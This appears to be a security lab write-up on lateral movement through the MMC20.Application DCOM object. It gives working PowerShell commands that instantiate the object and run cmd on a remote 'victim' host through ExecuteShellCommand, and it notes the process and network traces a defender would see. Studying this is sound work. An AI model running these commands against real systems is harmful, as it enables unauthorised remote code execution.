Lateral Movement via DCOM

Lateral Movement via Distributed Component Object Model

The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-enabled components), as well as others.

This lab explores a DCOM lateral movement technique using MMC20.Application COM as originally researched by @enigma0x3 in his blog post Lateral Movement using the mmc20.application Com Object


MMC20.Application COM class is stored in the registry as shown below:

Same can be achieved with powershell:

Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

Establishing a connection to the victim host:

$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1",""))

Executing command on the victim system via DCOM object:

$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")

Below shows the command execution and the result of it - remote machine's hostname command output is written to c:\fromdcom.txt:


Once the connection from an attacker to victim is established using the below powershell:


This is what happens on the victim system - svchost spawns mmc.exe which opens a listening port via RPC binding:

A network connection is logged from (attacker) to (victim) via offense\administrator (can be also seen from the above screenshot):


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